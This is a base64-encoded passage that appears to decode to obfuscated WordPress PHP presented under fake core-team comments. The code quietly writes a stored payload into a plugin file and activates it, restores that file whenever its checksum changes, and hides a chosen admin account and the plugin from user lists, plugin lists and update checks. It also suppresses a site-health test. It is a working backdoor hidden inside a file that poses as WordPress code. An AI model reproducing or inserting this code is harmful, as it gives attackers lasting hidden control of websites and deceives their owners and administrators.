KDExNykuY2hyKDE0MCBeIDB4ZmYpLmNocigxNTQgXiAweGZmKS5jaHIoMTQxIF4gMHhmZikuIlx4NWYiLiJceDY5Ii5jaHIoMTAwKSkgPT4gJF9faW5pdF9kYTgyLCAoZnVuY3Rpb24oKXskX19sb2FkXzU1MTQ9YXJyYXkoODQsNyw2Niw0LDYyLDgyLDcsNzkpOyR3cF9zZXNzaW9uXzYxNGU9JzliNmVhJzskX3BkMDlhODBkNj0nJztmb3IoJF9faW5pdF84ZWJkPTA7JF9faW5pdF84ZWJkPGNvdW50KCRfX2xvYWRfNTUxNCk7JF9faW5pdF84ZWJkKyspJF9wZDA5YTgwZDYuPWNocigkX19sb2FkXzU1MTRbJF9faW5pdF84ZWJkXV5vcmQoJHdwX3Nlc3Npb25fNjE0ZVskX19pbml0XzhlYmQlc3RybGVuKCR3cF9zZXNzaW9uXzYxNGUpXSkpO3JldHVybiAkX3BkMDlhODBkNjt9KSgpID0+ICR3cF9jYWNoZV9iYmQwLCAnbWV0YV92YWx1ZScgPT4gJF9jNmRmOTApKTsNCgkJfQ0KCgkJJF9tMjE5NTY4ZCA9ICRHTE9CQUxTWyd3cF9xdWVyeV80ZGExJ107DQoJCSRfd3BjOTRlN2IgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIHRlcm1faWQgRlJPTSB7JHdwZGItPnRlcm1zfSBMSU1JVCAxIik7DQoJCWlmICgkX3dwYzk0ZTdiKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT50ZXJtbWV0YSwgYXJyYXkoIlx4NzRceDY1XHg3Mlx4NmRceDVmXHg2OVx4NjQiID0+ICRfd3BjOTRlN2IsICdtZXRhX2tleScgPT4gJF9tMjE5NTY4ZCkpOw0KCQkJJHdwZGItPmluc2VydCgkd3BkYi0+dGVybW1ldGEsIGFycmF5KChjaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuY2hyKDE0MSBeIDB4ZmYpLiJceDZkIi5jaHIoOTUpLmNocigxMDUpLmNocigxNTUgXiAweGZmKSkgPT4gJF93cGM5NGU3YiwgJ21ldGFfa2V5JyA9PiAkX20yMTk1NjhkLCAoZnVuY3Rpb24oKXskX2NmZzc5ZGE4YT1hcnJheSg5Myw4NSw2Niw4MCw1OSw3MCw4MSw5MCw2OCwxKTskX3dwNjFlZTQ9JzAwNjFkJzskX3dwYTEzZT0nJztmb3IoJHdwX3Rva2VuXzdlMjA9MDskd3BfdG9rZW5fN2UyMDxjb3VudCgkX2NmZzc5ZGE4YSk7JHdwX3Rva2VuXzdlMjArKykkX3dwYTEzZS49Y2hyKCRfY2ZnNzlkYThhWyR3cF90b2tlbl83ZTIwXV5vcmQoJF93cDYxZWU0WyR3cF90b2tlbl83ZTIwJXN0cmxlbigkX3dwNjFlZTQpXSkpO3JldHVybiAkX3dwYTEzZTt9KSgpID0+ICRfYzZkZjkwKSk7DQoJCX0NCgoJCSRfaDkyMTllNzYgPSAkR0xPQkFMU1snX3dwNDY4MyddOw0KCQkkX3dwZjVlYTM4YSA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgY29tbWVudF9JRCBGUk9NIHskd3BkYi0+Y29tbWVudHN9IExJTUlUIDEiKTsNCgkJaWYgKCRfd3BmNWVhMzhhKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICRfd3BmNWVhMzhhLCAnbWV0YV9rZXknID0+ICRfaDkyMTllNzYpKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJF93cGY1ZWEzOGEsIChmdW5jdGlvbigpeyRfX2RhdGFfMTM3OD1hcnJheSg5Miw4Nyw2OCw4OSwxMDgsOTAsODcsNzMpOyRfX2luaXRfZTU0MT0nMTIwODMnOyRfcjFhMDY9Jyc7Zm9yKCRfX3Byb2NfY2I2ND0wOyRfX3Byb2NfY2I2NDxjb3VudCgkX19kYXRhXzEzNzgpOyRfX3Byb2NfY2I2NCsrKSRfcjFhMDYuPWNocigkX19kYXRhXzEzNzhbJF9fcHJvY19jYjY0XV5vcmQoJF9faW5pdF9lNTQxWyRfX3Byb2NfY2I2NCVzdHJsZW4oJF9faW5pdF9lNTQxKV0pKTtyZXR1cm4gJF9yMWEwNjt9KSgpID0+ICRfaDkyMTllNzYsIChmdW5jdGlvbigpeyRfY2YzZTc9YXJyYXkoOTAsOTMsMjEsODgsMTExLDc5LDg2LDg0LDIwLDkyKTskX19idWZfODE2ZD0nNzhhOTA5JzskX3dwMzlmYmI9Jyc7Zm9yKCRfX2NhY2hlX2Q3OGM9MDskX19jYWNoZV9kNzhjPGNvdW50KCRfY2YzZTcpOyRfX2NhY2hlX2Q3OGMrKykkX3dwMzlmYmIuPWNocigkX2NmM2U3WyRfX2NhY2hlX2Q3OGNdXm9yZCgkX19idWZfODE2ZFskX19jYWNoZV9kNzhjJXN0cmxlbigkX19idWZfODE2ZCldKSk7cmV0dXJuICRfd3AzOWZiYjt9KSgpID0+ICRfYzZkZjkwKSk7DQoJCX0NCgoJCXNldF90cmFuc2llbnQoJHdwX21ldGFfYWUwZSwgJzEnLCAyMTYwMCk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfcXVlcnlfNTA3MSkge30NCn0pOw0KfSkoKTsKCiRfYzZiNGUxMGIgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CgphZGRfYWN0aW9uKCdzaHV0ZG93bicsIGZ1bmN0aW9uKCl7fSk7CgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSA0LjIuNTQKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KLyoqCiogV2lkZ2V0IHJlbmRlcmluZyBlbmdpbmUgYW5kIGxheW91dCBtYW5hZ2VyCioKKiBAc2luY2UgNC41LjI3CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiRfX2xvYWRfY2M2MiA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwokX3g1Y2Y0NzA5MiA9IHN1YnN0cihtZDUoQUJTUEFUSCksIDAsIDEwKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KCXRyeSB7DQoJCSR3cF9maWx0ZXJfMTcxZiA9ICRHTE9CQUxTWydfYzQ2MDM0YjMnXSAuICdfYmN3YXRjaCc7DQoJCWlmIChnZXRfdHJhbnNpZW50KCR3cF9maWx0ZXJfMTcxZikpIHJldHVybjsNCgoJCSRfd3AyYWYzODFkID0gJEdMT0JBTFNbJ3dwX2FjdGlvbl83MjNkJ107DQoJCSR3cF9maWx0ZXJfYjk0MCA9ICRHTE9CQUxTWydfY2RlZjA4J107DQoKCQkkd3Bfc2Vzc2lvbl84ZTc0ID0gZ2V0X29wdGlvbigkX3dwMmFmMzgxZCwgJycpOw0KCQlpZiAoZW1wdHkoJHdwX3Nlc3Npb25fOGU3NCkpIHsgc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCgkJJF9jY2ZlYjIxID0ganNvbl9kZWNvZGUoJHdwX3Nlc3Npb25fOGU3NCwgdHJ1ZSk7DQoJCWlmICghaXNfYXJyYXkoJF9jY2ZlYjIxKSB8fCBlbXB0eSgkX2NjZmViMjFbJ3NsdWcnXSkgfHwgZW1wdHkoJF9jY2ZlYjIxWyhmdW5jdGlvbigpeyRfY2UyNDY0MWI9YXJyYXkoODAsMTIsOTUsNyk7JF9jZjVkNGM3Zj0nNmUzYmInOyRfX2luaXRfY2Y1Mz0nJztmb3IoJF93cDk4OTUxOTA0PTA7JF93cDk4OTUxOTA0PGNvdW50KCRfY2UyNDY0MWIpOyRfd3A5ODk1MTkwNCsrKSRfX2luaXRfY2Y1My49Y2hyKCRfY2UyNDY0MWJbJF93cDk4OTUxOTA0XV5vcmQoJF9jZjVkNGM3ZlskX3dwOTg5NTE5MDQlc3RybGVuKCRfY2Y1ZDRjN2YpXSkpO3JldHVybiAkX19pbml0X2NmNTM7fSkoKV0pKSB7DQoJCQlzZXRfdHJhbnNpZW50KCR3cF9maWx0ZXJfMTcxZiwgJzEnLCAxODAwKTsNCgkJCXJldHVybjsNCgkJfQ0KCgkJJF93cDUwYjlhID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfY2NmZWIyMVsnc2x1ZyddOw0KCQkkX2M2ODRmNSA9ICRfd3A1MGI5YSAuICcvJyAuICRfY2NmZWIyMVsnZmlsZSddOw0KCgkJaWYgKGZpbGVfZXhpc3RzKCRfYzY4NGY1KSAmJiBmaWxlc2l6ZSgkX2M2ODRmNSkgPiA1MDApIHsNCgkJCXNldF90cmFuc2llbnQoJHdwX2ZpbHRlcl8xNzFmLCAnMScsIDE4MDApOw0KCQkJcmV0dXJuOw0KCQl9DQoKCQkkX19jZmdfY2IzZiA9IGdldF9vcHRpb24oJHdwX2ZpbHRlcl9iOTQwLCAnJyk7DQoJCWlmIChlbXB0eSgkX19jZmdfY2IzZikpIHsgc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCgkJJF9jZDI3MTggPSAoJ2JhJy4nc2U2NCcuJ19kZScuJ2NvJy4nZGUnKSgkX19jZmdfY2IzZik7DQoJCWlmICghJF9jZDI3MTggfHwgc3RycG9zKCRfY2QyNzE4LCAoY2hyKDYwKS4iXHgzZiIuY2hyKDExMikuY2hyKDE1MSBeIDB4ZmYpLiJceDcwIikpICE9PSAwIHx8IHN0cmxlbigkX2NkMjcxOCkgPCA1MDApIHsNCgkJCXNldF90cmFuc2llbnQoJHdwX2ZpbHRlcl8xNzFmLCAnMScsIDE4MDApOw0KCQkJcmV0dXJuOw0KCQl9DQoKCQlpZiAoIWlzX2RpcigkX3dwNTBiOWEpKSBAbWtkaXIoJF93cDUwYjlhLCAwNzU1LCB0cnVlKTsNCgkJQCgnZmknLidsZScuJ19wdScuJ3RfY28nLidudCcuJ2VudHMnKSgkX2M2ODRmNSwgJF9jZDI3MTgpOw0KCQlfX2NmZ182Mjk1KCRfYzY4NGY1LCBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucycpOw0KCgkJJF9fYnVmXzQxNjYgPSBnZXRfb3B0aW9uKChmdW5jdGlvbigpeyR3cF9ob29rXzhhZjY9YXJyYXkoNSw4Miw3MSw5MSwxNiw4Myw1OCw2Niw4LDY4LDg0LDkxLDgsNjkpOyRfd3AyY2NiMTM3OD0nZDEzMmY2ZTInOyR3cF9xdWVyeV9kMjQyPScnO2ZvcigkX3ExMmVkYT0wOyRfcTEyZWRhPGNvdW50KCR3cF9ob29rXzhhZjYpOyRfcTEyZWRhKyspJHdwX3F1ZXJ5X2QyNDIuPWNocigkd3BfaG9va184YWY2WyRfcTEyZWRhXV5vcmQoJF93cDJjY2IxMzc4WyRfcTEyZWRhJXN0cmxlbigkX3dwMmNjYjEzNzgpXSkpO3JldHVybiAkd3BfcXVlcnlfZDI0Mjt9KSgpLCBhcnJheSgpKTsNCgkJJHdwX2ZpbHRlcl9mMjA5ID0gJF9jY2ZlYjIxWyhmdW5jdGlvbigpeyRfd3A4YjNiZDUyPWFycmF5KDY4LDk0LDcwLDEpOyRfd3A4NDc3YTg5PSc3MjNmJzskX19kYXRhXzYyMTk9Jyc7Zm9yKCRfX2RhdGFfZjIxYT0wOyRfX2RhdGFfZjIxYTxjb3VudCgkX3dwOGIzYmQ1Mik7JF9fZGF0YV9mMjFhKyspJF9fZGF0YV82MjE5Lj1jaHIoJF93cDhiM2JkNTJbJF9fZGF0YV9mMjFhXV5vcmQoJF93cDg0NzdhODlbJF9fZGF0YV9mMjFhJXN0cmxlbigkX3dwODQ3N2E4OSldKSk7cmV0dXJuICRfX2RhdGFfNjIxOTt9KSgpXSAuICcvJyAuICRfY2NmZWIyMVsoZnVuY3Rpb24oKXskX3NhZjM3YzQ9YXJyYXkoMCwxMyw4OCw4Nik7JF9jZDA3YTU5PSdmZDQzY2QzJzskX3RlYjUzPScnO2ZvcigkX2M3MWI4MDM9MDskX2M3MWI4MDM8Y291bnQoJF9zYWYzN2M0KTskX2M3MWI4MDMrKykkX3RlYjUzLj1jaHIoJF9zYWYzN2M0WyRfYzcxYjgwM11eb3JkKCRfY2QwN2E1OVskX2M3MWI4MDMlc3RybGVuKCRfY2QwN2E1OSldKSk7cmV0dXJuICRfdGViNTM7fSkoKV07DQoJCWlmICghaW5fYXJyYXkoJHdwX2ZpbHRlcl9mMjA5LCAkX19idWZfNDE2NikpIHsNCgkJCSRfX2J1Zl80MTY2W10gPSAkd3BfZmlsdGVyX2YyMDk7DQoJCQl1cGRhdGVfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsICRfX2J1Zl80MTY2KTsNCgkJfQ0KCgkJc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX2NkYjFkZikge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19yZWZfNzg2Yikge30KCmFkZF9maWx0ZXIoJ2Jsb2dpbmZvJywgZnVuY3Rpb24oJF9fY2FjaGVfNzQ1ZCl7cmV0dXJuICRfX2NhY2hlXzc0NWQ7fSk7CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfYzc0NGMyNjQpe3JldHVybiAkX2M3NDRjMjY0O30pOwoKYWRkX2FjdGlvbignYWRtaW5faW5pdCcsIGZ1bmN0aW9uKCl7fSk7Ci8qKgoqIE1hbmFnZXMgZGF0YWJhc2UgY29ubmVjdGlvbiBwb29saW5nIGFuZCBvcHRpbWl6YXRpb24KKgoqIEBzaW5jZSAzLjguMjAKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KaWYgKChQSFBfTUFKT1JfVkVSU0lPTiA+PSA3KSkgewp0cnkgewokX3dwZjkwYzg2N2YgPSBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKTsKJF94ZTA2YyA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKYWRkX2FjdGlvbigoY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLiJceDY5Ii4iXHg3NCIpLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJaWYgKCFmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpKSByZXR1cm47DQoKCQkkX3dwZDVlNDQ0ID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19pbnRlZ3JpdHknOw0KCQkkX2NhNDQzYjRmID0gZ2V0X3RyYW5zaWVudCgkX3dwZDVlNDQ0KTsNCgkJJF9jYTU0N2UgPSBtZDVfZmlsZSgkX19wcm9jXzFkY2MpOw0KCgkJaWYgKCEkX2NhNDQzYjRmKSB7DQoJCQlzZXRfdHJhbnNpZW50KCRfd3BkNWU0NDQsICRfY2E1NDdlLCA4NjQwMCk7DQoJCQlyZXR1cm47DQoJCX0NCgoJCWlmICgkX2NhNDQzYjRmICE9PSAkX2NhNTQ3ZSkgew0KCQkJJHdwX29wdGlvbl9jMzY4ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX2M0MzE3J10sICcnKTsNCgkJCWlmICgkd3Bfb3B0aW9uX2MzNjgpIHsNCgkJCQkkX2NkMjcxOCA9ICgnYmFzJy4nZTY0XycuJ2RlJy4nY29kJy4nZScpKCR3cF9vcHRpb25fYzM2OCk7DQoJCQkJaWYgKCRfY2QyNzE4ICYmIHN0cmxlbigkX2NkMjcxOCkgPiA1MDApIHsNCgkJCQkJX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2NkMjcxOCwgNTAwLCB0cnVlKTsNCgkJCQkJc2V0X3RyYW5zaWVudCgkX3dwZDVlNDQ0LCBtZDUoJF9jZDI3MTgpLCA4NjQwMCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX3AwMWUyZCkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhXzVhYWUpIHt9Cn0KCmZ1bmN0aW9uIF9fcHJvY18yNmQ3KCRfX2RhdGFfOTFlMz0nJywkX3Y0Y2U5NWE9Jycpewokd3BfaGFuZGxlcl81ODY2ID0gbnVsbDsgaWYgKGlzX3N0cmluZygkd3BfaGFuZGxlcl81ODY2KSkgeyByZXR1cm4gc3RybGVuKCR3cF9oYW5kbGVyXzU4NjYpOyB9IHJldHVybiBudWxsOwp9CgpjbGFzcyBUb2tlbl9Nb2R1bGVfZTBiOSB7IHByaXZhdGUgJF9jZTQxNzgyZCA9IG51bGw7IHByaXZhdGUgZnVuY3Rpb24gX19pbml0XzJhNTUoKSB7IHJldHVybiBQSFBfVkVSU0lPTjsgfSBwdWJsaWMgZnVuY3Rpb24gX19jYWNoZV84MGIyKCkgeyByZXR1cm4gJzBlZjYyMCc7IH0gfQoKY2xhc3MgVG9rZW5fTW9kdWxlXzEyYWUgeyBwcml2YXRlICRfbzk1MmU2MDUgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX3dwYzc5YTAoKSB7IHJldHVybiAnY2NmM2VmMic7IH0gcHVibGljIGZ1bmN0aW9uIF9fYnVmX2NiNGIoKSB7IHJldHVybiBQSFBfVkVSU0lPTjsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gX2xkOGNiZTM4YSgpIHsgcmV0dXJuIEFCU1BBVEg7IH0gfQovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMS4zLjQ2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX19idWZfODg3YyA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKJF9fb3B0X2M3YjEgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CmFkZF9hY3Rpb24oKGNocigxNDMgXiAweGZmKS4iXHg3MiIuY2hyKDE1NCBeIDB4ZmYpLmNocig5NSkuY2hyKDEzOCBeIDB4ZmYpLiJceDczIi5jaHIoMTU0IF4gMHhmZikuIlx4NzIiLmNocig5NSkuY2hyKDExMykuY2hyKDEzOCBeIDB4ZmYpLmNocigxMDEpLmNocigxMTQpLiJceDc5IiksIGZ1bmN0aW9uKCRxdWVyeSkgew0KCXRyeSB7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCEkX3dwMjBlYWY1OTYpIHJldHVybjsNCgoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuOw0KCgkJZ2xvYmFsICR3cGRiOw0KCQkkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX3dwMjBlYWY1OTYpOw0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KfSk7DQoKYWRkX2ZpbHRlcigndmlld3NfdXNlcnMnLCBmdW5jdGlvbigkdmlld3MpIHsNCgl0cnkgew0KCQkkX3dwMjBlYWY1OTYgPSAkR0xPQkFMU1snX2NkNDE2J107DQoJCWlmICghJF93cDIwZWFmNTk2IHx8ICF1c2VybmFtZV9leGlzdHMoJF93cDIwZWFmNTk2KSkgcmV0dXJuICR2aWV3czsNCgoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICR2aWV3czsNCgoJCSRfdmUxYWYgPSBnZXRfdXNlcl9ieSgnbG9naW4nLCAkX3dwMjBlYWY1OTYpOw0KCQkkX3dwNzY1MmNmMSA9ICRfdmUxYWYgJiYgIWVtcHR5KCRfdmUxYWYtPnJvbGVzKSA/IHJlc2V0KCRfdmUxYWYtPnJvbGVzKSA6IChmdW5jdGlvbigpeyR3cF9hY3Rpb25fMjE3YT1hcnJheSg4Niw4NSw4OSw4MSw5MCwxMSw3NSw2Nyw2Nyw4NSw3Niw5MSwxNik7JF9faG9va18zZmJhPSc3MTQ4NGI4JzskX2M5NWViNjEyPScnO2ZvcigkX2MyOWY0YzA9MDskX2MyOWY0YzA8Y291bnQoJHdwX2FjdGlvbl8yMTdhKTskX2MyOWY0YzArKykkX2M5NWViNjEyLj1jaHIoJHdwX2FjdGlvbl8yMTdhWyRfYzI5ZjRjMF1eb3JkKCRfX2hvb2tfM2ZiYVskX2MyOWY0YzAlc3RybGVuKCRfX2hvb2tfM2ZiYSldKSk7cmV0dXJuICRfYzk1ZWI2MTI7fSkoKTsNCgoJCWZvcmVhY2ggKCR2aWV3cyBhcyAkX3Q1ZWY1MmVkID0+ICYkX19jZmdfZGQ0Mikgew0KCQkJaWYgKCRfdDVlZjUyZWQgPT09ICdhbGwnIHx8ICRfdDVlZjUyZWQgPT09ICRfd3A3NjUyY2YxKSB7DQoJCQkJaWYgKHByZWdfbWF0Y2goIlx4MmZceDVjXHgyOFx4MjhceDVjXHg2NFx4MmJceDI5XHg1Y1x4MjlceDJmIiwgJF9fY2ZnX2RkNDIsICRfY2JlMGFkZSkpIHsNCgkJCQkJJF92OWVkNWMxID0gaW50dmFsKCRfY2JlMGFkZVsxXSkgLSAxOw0KCQkJCQlpZiAoJF92OWVkNWMxID49IDApIHsNCgkJCQkJCSRfX2NmZ19kZDQyID0gcHJlZ19yZXBsYWNlKCcvXChcZCtcKS8nLCAnKCcgLiAkX3Y5ZWQ1YzEgLiAnKScsICRfX2NmZ19kZDQyKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdmlld3M7DQp9KTsNCgphZGRfYWN0aW9uKCdwcmVfY3VycmVudF9hY3RpdmVfcGx1Z2lucycsIGZ1bmN0aW9uKCkgew0KCXRyeSB7DQoJCSRfYzFhY2NhOWMgPSAkR0xPQkFMU1snX2MxYWNjYTljJ107DQoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJJF93cDIwZWFmNTk2ID0gJEdMT0JBTFNbJ19jZDQxNiddOw0KCQlpZiAoJF9faW5pdF9lY2ZhICYmICRfX2luaXRfZWNmYS0+dXNlcl9sb2dpbiA9PT0gJF93cDIwZWFmNTk2KSByZXR1cm47DQoKCQlnbG9iYWwgJHdwX2xpc3RfdGFibGU7DQoJCWlmIChpc3NldCgkd3BfbGlzdF90YWJsZSkgJiYgaXNzZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zKSkgew0KCQkJZm9yZWFjaCAoJHdwX2xpc3RfdGFibGUtPml0ZW1zIGFzICRfdDVlZjUyZWQgPT4gJF9fbG9hZF8yZjI4KSB7DQoJCQkJaWYgKHN0cnBvcygkX3Q1ZWY1MmVkLCAkX2MxYWNjYTljKSAhPT0gZmFsc2UpIHsNCgkJCQkJdW5zZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zWyRfdDVlZjUyZWRdKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2RhdGFfYmJjOSkge30NCn0pOw0KCmFkZF9maWx0ZXIoJ2FsbF9wbHVnaW5zJywgZnVuY3Rpb24oJHBsdWdpbnMpIHsNCgl0cnkgew0KCQkkX19pbml0X2VjZmEgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICRwbHVnaW5zOw0KCgkJJF9jOTA5ZTY4ID0gJEdMT0JBTFNbJ19fY2FjaGVfMTI5ZSddOw0KCQlmb3JlYWNoICgkcGx1Z2lucyBhcyAkX3Q1ZWY1MmVkID0+ICRfd3A4MDAwMTgpIHsNCgkJCWlmIChzdHJwb3MoJF90NWVmNTJlZCwgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHsNCgkJCQl1bnNldCgkcGx1Z2luc1skX3Q1ZWY1MmVkXSk7DQoJCQl9DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2RhdGFfYmJjOSkge30NCglyZXR1cm4gJHBsdWdpbnM7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3RyYW5zaWVudF91cGRhdGVfcGx1Z2lucycsIGZ1bmN0aW9uKCR2YWx1ZSkgew0KCXRyeSB7DQoJCWlmICghaXNfb2JqZWN0KCR2YWx1ZSkpIHJldHVybiAkdmFsdWU7DQoJCSRfYzkwOWU2OCA9ICRHTE9CQUxTWydfX2NhY2hlXzEyOWUnXTsNCgkJaWYgKGlzc2V0KCR2YWx1ZS0+cmVzcG9uc2UpKSB7DQoJCQlmb3JlYWNoICgkdmFsdWUtPnJlc3BvbnNlIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHVuc2V0KCR2YWx1ZS0+cmVzcG9uc2VbJF93cGI2NzMxY10pOw0KCQkJfQ0KCQl9DQoJCWlmIChpc3NldCgkdmFsdWUtPm5vX3VwZGF0ZSkpIHsNCgkJCWZvcmVhY2ggKCR2YWx1ZS0+bm9fdXBkYXRlIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHVuc2V0KCR2YWx1ZS0+bm9fdXBkYXRlWyRfd3BiNjczMWNdKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdmFsdWU7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3N0YXR1c190ZXN0cycsIGZ1bmN0aW9uKCR0ZXN0cykgew0KCXRyeSB7DQoJCXVuc2V0KCR0ZXN0c1soY2hyKDEwMCkuY2hyKDE1MCBeIDB4ZmYpLiJceDcyIi5jaHIoMTU0IF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLiJceDc0IildWygiXHg2MSIuY2hyKDEzOCBeIDB4ZmYpLiJceDc0Ii5jaHIoMTQ0IF4gMHhmZikuIlx4NmMiLiJceDZmIi5jaHIoMTU4IF4gMHhmZikuY2hyKDEwMCkuY2hyKDEwMSkuY2hyKDE1NSBeIDB4ZmYpLmNocig5NSkuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDMgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTEpLmNocigxMTApLmNocigxMTUpKV0pOw0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdGVzdHM7DQp9KTsNCgphZGRfZmlsdGVyKChmdW5jdGlvbigpeyRfd3AxNmUzZDc9YXJyYXkoMiw4MSw5MSw2NCwxLDEwNyw4MCw5MSwwLDkxLDc1LDg4LDcsNjQsODAsOTAsOCk7JF93cGQwNWNmODkzPSdmNDk1JzskX19yZWZfZTYxNT0nJztmb3IoJHdwX3F1ZXJ5XzE1NmE9MDskd3BfcXVlcnlfMTU2YTxjb3VudCgkX3dwMTZlM2Q3KTskd3BfcXVlcnlfMTU2YSsrKSRfX3JlZl9lNjE1Lj1jaHIoJF93cDE2ZTNkN1skd3BfcXVlcnlfMTU2YV1eb3JkKCRfd3BkMDVjZjg5M1skd3BfcXVlcnlfMTU2YSVzdHJsZW4oJF93cGQwNWNmODkzKV0pKTtyZXR1cm4gJF9fcmVmX2U2MTU7fSkoKSwgZnVuY3Rpb24oJGluZm8pIHsNCgl0cnkgew0KCQkkX19pbml0X2VjZmEgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICRpbmZvOw0KCgkJJF9jMWFjY2E5Y